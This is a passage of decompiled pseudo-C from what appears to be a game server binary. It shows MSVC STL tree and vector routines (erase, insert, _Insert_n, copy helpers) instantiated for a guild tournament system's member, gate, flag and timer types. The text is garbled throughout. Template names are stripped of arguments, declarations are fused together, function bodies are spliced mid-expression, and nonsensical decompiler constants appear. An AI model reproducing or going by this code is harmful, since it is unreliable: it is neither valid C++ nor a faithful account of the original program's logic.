std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); v15 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v15 + 21) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 20) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 20) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) = 1; *(_BYTE *)(v15 + 20) = 0; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v3, (std::_Tree_nod,std::allocator >,0> >::_Node *)v15); v15 = **(_DWORD **)&v7; } *(_BYTE *)(v15 + 20) = *(_BYTE *)(*(_DWORD *)&v7 + 20); *(_BYTE *)(*(_DWORD *)&v7 + 20) = 1; *(_BYTE *)(*(_DWORD *)v15 + 20) = 1; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); break; } } *(_BYTE *)(v15 + 20) = 0; LABEL_54: v5 = v7; v16 = (std::_Tree_nod,std::allocator >,0> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v16 ); } *(_BYTE *)(*(_DWORD *)&v5 + 20) = 1; } operator delete(*(void **)&_Erasednode); v17 = v3->_Mysize; if ( v17 ) v3->_Mysize = v17 - 1; v18 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v18; } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00468C90) -------------------------------------------------------- int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::erase(...) { std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v23; // [sp+58h] [bp-4h]@2 v3 = this; v20 = this; if ( *(_BYTE *)(_Where + 69) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v23 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::const_iterator::_Inc(&_Where); if ( *(_BYTE *)(*(_DWORD *)v4 + 69) ) { v5 = *(_DWORD *)(v4 + 8); LABEL_9: v7 = *(_DWORD *)(v4 + 4); if ( !*(_BYTE *)(v5 + 69) ) *(_DWORD *)(v5 + 4) = v7; v8 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)(v8 + 4) == v4 ) { *(_DWORD *)(v8 + 4) = v5; } else { if ( *(_DWORD *)v7 == v4 ) *(_DWORD *)v7 = v5; else *(_DWORD *)(v7 + 8) = v5; } v9 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)v9 == v4 ) { if ( *(_BYTE *)(v5 + 69) ) v10 = (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Min((std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Max((std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lrotate( v15, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Rrotate( v15, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lrotate( v15, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Rrotate( v15, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lrotate( v15, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Rrotate( v15, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator= 0x10u ) operator delete(*(void **)(v4 + 16)); *(_DWORD *)(v4 + 36) = 15; *(_DWORD *)(v4 + 32) = 0; *(_BYTE *)(v4 + 16) = 0; operator delete((void *)v4); v18 = *((_DWORD *)v20 + 2); if ( v18 ) *((_DWORD *)v20 + 2) = v18 - 1; v19 = result; *result = _Where; return v19; } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00468F70) -------------------------------------------------------- int std::_Tree_nod_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Node::_Node(...) { std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Parent = _Parg; v7 = (char *)&this->_Myval; this->_Left = _Larg; this->_Right = _Rarg; this->_Myval.first._Myres = 15; this->_Myval.first._Mysize = 0; this->_Myval.first._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &this->_Myval.first, &_Val->first, 0, 0xFFFFFFFFu); memcpy(v7 + 28, &_Val->second, 0x1Cu); v6->_Color = _Carg; v6->_Isnil = 0; } //----- (00468FD0) -------------------------------------------------------- GuildTournamentSystem::Gate *__cdecl std::_Copy_backward_opt(GuildTournamentSystem::Gate *_First, GuildTournamentSystem::Gate *_Last, GuildTournamentSystem::Gate *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::Gate *v4; // esi@1 GuildTournamentSystem::Gate *v5; // edi@2 bool v6; // al@3 GuildTournamentSystem::Gate *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v6 = v4[-1].bIsUse; --v4; --v5; v5->bIsUse = v6; v5->hFlagNumber = v4->hFlagNumber; v5->hGateNumber = v4->hGateNumber; std::basic_string_std::allocator>::assign( &v5->strunUseGateName, &v4->strunUseGateName, 0, 0xFFFFFFFFu); std::basic_string_std::allocator>::assign( &v5->strUseGateName, &v4->strUseGateName, 0, 0xFFFFFFFFu); } while ( v4 != _First ); result = v5; } return result; } //----- (00469030) -------------------------------------------------------- GuildTournamentSystem::AdvanMobItemRegenInfo *__cdecl std::_Copy_backward_opt(GuildTournamentSystem::AdvanMobItemRegenInfo *_First, GuildTournamentSystem::AdvanMobItemRegenInfo *_Last, GuildTournamentSystem::AdvanMobItemRegenInfo *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::AdvanMobItemRegenInfo *v4; // esi@1 GuildTournamentSystem::AdvanMobItemRegenInfo *v5; // edi@2 int v6; // eax@3 GuildTournamentSystem::AdvanMobItemRegenInfo *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v6 = *(_DWORD *)&v4[-1].mapName.n3_name[0]; --v4; --v5; *(_DWORD *)&v5->mapName.n3_name[0] = v6; *(_DWORD *)&v5->mapName.n3_name[4] = *(_DWORD *)&v4->mapName.n3_name[4]; *(_DWORD *)&v5->mapName.n3_name[8] = *(_DWORD *)&v4->mapName.n3_name[8]; std::basic_string_std::allocator>::assign( &v5->strGroupName, &v4->strGroupName, 0, 0xFFFFFFFFu); v5->AdvanIndex = v4->AdvanIndex; } while ( v4 != _First ); result = v5; } return result; } //----- (00469090) -------------------------------------------------------- GuildTournamentSystem::Gate *__cdecl std::_Uninit_copy>(GuildTournamentSystem::Gate *_First, GuildTournamentSystem::Gate *_Last, GuildTournamentSystem::Gate *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::Gate *v5; // esi@1 GuildTournamentSystem::Gate *v6; // edi@1 int v8; // [sp+0h] [bp-20h]@1 GuildTournamentSystem::Gate *_Next; // [sp+Ch] [bp-14h]@1 int *v10; // [sp+10h] [bp-10h]@1 int v11; // [sp+1Ch] [bp-4h]@1 v5 = _Dest; v6 = _First; v10 = &v8; _Next = _Dest; v11 = 0; while ( v6 != _Last ) { LOBYTE(v11) = 1; if ( v5 ) GuildTournamentSystem::Gate::Gate(v5, v6); ++v5; LOBYTE(v11) = 0; ++v6; } return v5; } //----- (00469170) -------------------------------------------------------- GuildTournamentSystem::AdvanMobItemRegenInfo *__cdecl std::_Uninit_copy>(GuildTournamentSystem::AdvanMobItemRegenInfo *_First, GuildTournamentSystem::AdvanMobItemRegenInfo *_Last, GuildTournamentSystem::AdvanMobItemRegenInfo *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::AdvanMobItemRegenInfo *v5; // esi@1 GuildTournamentSystem::AdvanMobItemRegenInfo *v6; // edi@1 int v8; // [sp+0h] [bp-20h]@1 GuildTournamentSystem::AdvanMobItemRegenInfo *_Next; // [sp+Ch] [bp-14h]@1 int *v10; // [sp+10h] [bp-10h]@1 int v11; // [sp+1Ch] [bp-4h]@1 v5 = _First; v6 = _Dest; v10 = &v8; _Next = _Dest; v11 = 0; while ( v5 != _Last ) { std::_Construct(v6, v5); ++v6; ++v5; } return v6; } //----- (00469220) -------------------------------------------------------- GuildTournamentSystem::GuildMemberInfo *__thiscall std::vector>::at(std::vector > *this, unsigned int _Pos) { GuildTournamentSystem::GuildMemberInfo *v2; // edi@1 v2 = this->_Myfirst; if ( !v2 || this->_Mylast - v2 <= _Pos ) std::vector>::_Xran((std::vector > *)this); return &v2[_Pos]; } //----- (00469260) -------------------------------------------------------- TickTimer *__thiscall std::vector>::at(std::vector > *this, unsigned int _Pos) { TickTimer *v2; // esi@1 v2 = this->_Myfirst; if ( !v2 || this->_Mylast - v2 <= _Pos ) std::vector>::_Xran((std::vector > *)this); return &v2[_Pos]; } //----- (004692A0) -------------------------------------------------------- GuildTournamentSystem::FlagInfo *__thiscall std::vector>::at(std::vector > *this, unsigned int _Pos) { GuildTournamentSystem::FlagInfo *v2; // esi@1 v2 = this->_Myfirst; if ( !v2 || this->_Mylast - v2 <= _Pos ) std::vector>::_Xran(this); return &v2[_Pos]; } //----- (004692E0) -------------------------------------------------------- bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity) { std::vector > *v2; // esi@1 bool result; // al@2 void *v4; // eax@5 v2 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Capacity ) { if ( _Capacity > 0x7FFFFFFF ) std::vector>::_Xlen((std::vector > *)this); v4 = operator new(2 * _Capacity); v2->_Myend = (unsigned __int16 *)((char *)v4 + 2 * _Capacity); v2->_Myfirst = (unsigned __int16 *)v4; v2->_Mylast = (unsigned __int16 *)v4; result = 1; } else { result = 0; } return result; } //----- (00469330) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Erase(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_Isnil; v2 = (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Erase( v3, i->_Right); i = i->_Left; std::_Tree_nod_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Node::__Node(v2); operator delete(v2); } } //----- (00469370) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GuildTournamentSystem::GuildMemberInfo *_Val) { std::vector > *v4; // ebx@1 GuildTournamentSystem::GuildMemberInfo *v5; // edi@1 unsigned int v6; // ecx@2 signed int v7; // edx@3 unsigned int v8; // esi@4 int v9; // eax@6 int v10; // eax@11 int v11; // ecx@15 int v12; // eax@18 int v13; // edi@22 GuildTournamentSystem::GuildMemberInfo *v14; // ST14_4@22 int v15; // eax@22 int v16; // esi@24 GuildTournamentSystem::GuildMemberInfo *v17; // ecx@27 std::vector >::iterator v18; // edi@27 signed int v19; // edx@27 unsigned int v20; // ST24_4@28 GuildTournamentSystem::GuildMemberInfo *v21; // ST20_4@28 unsigned int v22; // edx@28 int v23; // [sp+0h] [bp-38h]@1 GuildTournamentSystem::GuildMemberInfo _Tmp; // [sp+Ch] [bp-2Ch]@1 int *v25; // [sp+28h] [bp-10h]@1 int v26; // [sp+34h] [bp-4h]@22 GuildTournamentSystem::GuildMemberInfo *_Wherea; // [sp+40h] [bp+8h]@29 GuildTournamentSystem::GuildMemberInfo *_Ptr; // [sp+44h] [bp+Ch]@22 void *_Newvec; // [sp+48h] [bp+10h]@22 GuildTournamentSystem::GuildMemberInfo *_Newveca; // [sp+48h] [bp+10h]@27 v4 = this; memcpy(&_Tmp, _Val, sizeof(_Tmp)); v5 = this->_Myfirst; v25 = &v23; if ( v5 ) { v7 = (signed int)((char *)this->_Myend + (unsigned int)(((unsigned __int64)(-1840700269i64 * (unsigned int)((char *)this->_Myend - (char *)v5)) >> 32) - (unsigned int)v5)) >> 4; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } v8 = _Count; if ( _Count ) { if ( v5 ) v9 = v4->_Mylast - v4->_Myfirst; else v9 = 0; if ( (unsigned int)&wholesaver.ws_savestore[1713].esc_skill.buffer[-v9 + 18485] < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v4->_Myfirst ) v10 = v4->_Mylast - v4->_Myfirst; else v10 = 0; if ( v6 >= _Count + v10 ) { v17 = v4->_Mylast; v18 = _Where; v19 = (signed int)((char *)v4->_Mylast + ((unsigned __int64)(-1840700269i64 * (unsigned int)((char *)v4->_Mylast - *(_DWORD *)&_Where)) >> 32) - *(_DWORD *)&_Where) >> 4; _Newveca = v4->_Mylast; if ( v19 + ((unsigned int)v19 >> 31) >= _Count ) { _Wherea = &v17[-_Count]; v4->_Mylast = std::_Uninit_copy>( &v17[-_Count], v17, v17, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v17 - 28 * _Count)); std::copy_backward( *(GuildTournamentSystem::GuildMemberInfo **)&v18, _Wherea, _Newveca); std::fill( *(GuildTournamentSystem::GuildMemberInfo **)&v18, (GuildTournamentSystem::GuildMemberInfo *)(*(_DWORD *)&v18 + 28 * _Count), &_Tmp); } else { std::_Uninit_copy>( *(GuildTournamentSystem::GuildMemberInfo **)&_Where, v17, (GuildTournamentSystem::GuildMemberInfo *)(*(_DWORD *)&_Where + 28 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(28 * _Count)); v20 = _Count - (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 28; v21 = v4->_Mylast; v26 = 2; std::vector>::_Ufill( v4, v21, v20, &_Tmp); v22 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (GuildTournamentSystem::GuildMemberInfo *)v22; std::fill( *(GuildTournamentSystem::GuildMemberInfo **)&_Where, (GuildTournamentSystem::GuildMemberInfo *)(v22 - 28 * _Count), &_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[1713].esc_skill.buffer[-(v6 >> 1) + 18485] >= v6 ) v11 = (v6 >> 1) + v6; else v11 = 0; if ( v4->_Myfirst ) v12 = v4->_Mylast - v4->_Myfirst; else v12 = 0; if ( v11 < _Count + v12 ) v11 = _Count + std::vector>::size((std::vector,std::allocator >,std::allocator,std::allocator > > > *)v4); v13 = 28 * v11; _Newvec = operator new(28 * v11); v14 = v4->_Myfirst; v26 = 0; _Ptr = std::_Uninit_copy>( v14, *(GuildTournamentSystem::GuildMemberInfo **)&_Where, (GuildTournamentSystem::GuildMemberInfo *)_Newvec, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v8, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>( *(GuildTournamentSystem::GuildMemberInfo **)&_Where, v4->_Mylast, &_Ptr[v8], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v15 = (int)v4->_Myfirst; if ( v15 ) v15 = (signed int)((char *)v4->_Mylast - v15) / 28; v16 = v15 + v8; if ( v4->_Myfirst ) operator delete(v4->_Myfirst); v4->_Myend = (GuildTournamentSystem::GuildMemberInfo *)((char *)_Newvec + v13); v4->_Mylast = (GuildTournamentSystem::GuildMemberInfo *)((char *)_Newvec + 28 * v16); v4->_Myfirst = (GuildTournamentSystem::GuildMemberInfo *)_Newvec; } } } //----- (00469640) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, const unsigned __int16 *_Val) { std::vector > *v4; // esi@1 unsigned __int16 *v5; // edx@1 signed int v6; // eax@2 unsigned int v7; // edi@4 signed int v8; // ecx@6 int v9; // ecx@11 int v10; // eax@15 int v11; // ecx@18 int v12; // eax@22 void *v13; // eax@25 unsigned int v14; // ebp@25 int v15; // eax@25 unsigned __int16 *v16; // eax@25 unsigned __int16 *v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 int v20; // ebp@31 std::vector >::iterator v21; // ebx@31 int v22; // edx@31 unsigned int v23; // eax@31 int v24; // ecx@32 unsigned __int16 *v25; // edi@33 void *_Newvec; // [sp+0h] [bp-4h]@25 unsigned int _Wherea; // [sp+8h] [bp+4h]@31 int _Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; _Val = (const unsigned __int16 *)*_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = this->_Mylast - v5; else v8 = 0; if ( 2147483647 - v8 < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = (int)v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 1; v23 = 2 * _Count; _Wherea = 2 * _Count; if ( v22 >= _Count ) { v25 = (unsigned __int16 *)(v20 - v23); v4->_Mylast = (unsigned __int16 *)std::vector>::_Ucopy( (char *)(v20 - v23), v20, (char *)v20); std::copy_backward(*(unsigned __int16 **)&v21, v25, (unsigned __int16 *)v20); std::fill( *(unsigned __int16 **)&v21, (unsigned __int16 *)(*(_DWORD *)&v21 + _Wherea), (const unsigned __int16 *)&_Val); } else { std::vector>::_Ucopy( *(char **)&v21, v20, (char *)(*(_DWORD *)&v21 + v23)); std::vector>::_Ufill( v4, v4->_Mylast, _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v21) >> 1), (const unsigned __int16 *)&_Val); v24 = (int)&v4->_Mylast[_Wherea / 2]; v4->_Mylast = (unsigned __int16 *)v24; std::fill( *(unsigned __int16 **)&v21, (unsigned __int16 *)(v24 - _Wherea), (const unsigned __int16 *)&_Val); } } else { if ( 2147483647 - ((unsigned int)v6 >> 1) >= v6 ) v10 = ((unsigned int)v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = 2 * v10; v13 = operator new(2 * v10); v14 = 2 * ((signed int)(*(_DWORD *)&_Where - (unsigned int)v4->_Myfirst) >> 1); _Newvec = v13; memmove((char *)v13, (char *)v4->_Myfirst, v14); v16 = std::vector>::_Ufill( v4, (unsigned __int16 *)(v14 + v15), v7, (const unsigned __int16 *)&_Val); memmove((char *)v16, *(char **)&_Where, 2 * ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 1)); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (unsigned __int16 *)((char *)_Newvec + _Counta); v4->_Mylast = (unsigned __int16 *)((char *)_Newvec + 2 * v19); v4->_Myfirst = (unsigned __int16 *)_Newvec; } } } //----- (00469810) -------------------------------------------------------- std::pair,std::allocator >,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator>_0>>::insert(std::_Tree,std::allocator >,0> > *this, std::pair,std::allocator >,0> >::iterator,bool> *result, std::pair *_Val) { std::pair *v3; // ebp@1 std::_Tree,std::allocator >,0> > *v4; // edi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v5; // esi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v6; // eax@1 bool v7; // cl@1 const unsigned int v8; // edx@2 std::pair *v9; // edx@7 int v10; // edx@9 std::pair,std::allocator >,0> >::iterator,bool> *v11; // eax@9 int v12; // ecx@12 char _Addleft; // [sp+Ch] [bp-4h]@1 v3 = _Val; v4 = this; v5 = this->_Myhead; v6 = v5->_Parent; v7 = 1; _Addleft = 1; if ( !v6->_Isnil ) { v8 = _Val->first; do { v7 = v8 < v6->_Myval.first; v5 = v6; _Addleft = v8 < v6->_Myval.first; if ( v8 >= v6->_Myval.first ) v6 = v6->_Right; else v6 = v6->_Left; } while ( !v6->_Isnil ); } v9 = (std::pair *)v5; _Val = (std::pair *)v5; if ( v7 ) { if ( v5 == v4->_Myhead->_Left ) { v10 = *(_DWORD *)&std::_Tree_std::allocator>_0>>::_Insert( v4, (std::_Tree,std::allocator >,0> >::iterator *)&_Val, 1, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; result->second = 1; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v10; return v11; } std::_Tree_std::allocator>_0>>::const_iterator::_Dec((std::_Tree,std::allocator >,0> >::const_iterator *)&_Val); v9 = _Val; } if ( v9[1].second >= v3->first ) { v11 = result; result->second = 0; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v9; } else { v12 = *(_DWORD *)&std::_Tree_std::allocator>_0>>::_Insert( v4, (std::_Tree,std::allocator >,0> >::iterator *)&_Val, _Addleft, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v12; result->second = 1; } return v11; } //----- (004698D0) -------------------------------------------------------- std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::erase(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _First, std::_Tree,std::allocator >,0> >::iterator _Last) { std::_Tree,std::allocator >,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator >,0> >::iterator v5; // esi@1 std::_Tree,std::allocator >,0> > *v6; // edi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator >,0> >::_Node *v8; // eax@3 std::_Tree,std::allocator >,0> >::iterator *v9; // eax@3 std::_Tree,std::allocator >,0> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator >,0> >::iterator j; // eax@7 std::_Tree,std::allocator >,0> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator >,0> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator >,0> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 21) ) { for ( i = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 21); i = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator >,0> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 21); j = (std::_Tree,std::allocator >,0> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator>_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator>_0>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (00469990) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, TickTimer *_Val) { std::vector > *v4; // esi@1 unsigned int v5; // ecx@1 unsigned int v6; // edx@1 TickTimer *v7; // ebx@1 int v8; // eax@1 unsigned int v9; // ecx@2 signed int v10; // edx@3 unsigned int v11; // edi@4 int v12; // eax@6 int v13; // eax@11 int v14; // ecx@15 int v15; // eax@18 int v16; // ebx@22 TickTimer *v17; // ST18_4@22 int v18; // eax@22 int v19; // edi@24 TickTimer *v20; // ecx@27 std::vector >::iterator v21; // ebx@27 TickTimer *v22; // ecx@28 TickTimer *v23; // ST24_4@28 unsigned int v24; // edi@28 int v25; // [sp+0h] [bp-28h]@1 unsigned int _Tmp; // [sp+Ch] [bp-1Ch]@1 unsigned int v27; // [sp+10h] [bp-18h]@1 int v28; // [sp+14h] [bp-14h]@1 int *v29; // [sp+18h] [bp-10h]@1 int v30; // [sp+24h] [bp-4h]@22 TickTimer *_Wherea; // [sp+30h] [bp+8h]@29 TickTimer *_Counta; // [sp+34h] [bp+Ch]@22 void *_Newvec; // [sp+38h] [bp+10h]@22 TickTimer *_Newveca; // [sp+38h] [bp+10h]@27 v4 = this; v5 = _Val->m_CurDelayTime; v6 = _Val->m_DelayTime; v7 = v4->_Myfirst; v8 = *(_DWORD *)&_Val->m_bEnable; v29 = &v25; _Tmp = v5; v27 = v6; v28 = v8; if ( v7 ) { v10 = (signed int)((unsigned __int64)(715827883i64 * (unsigned 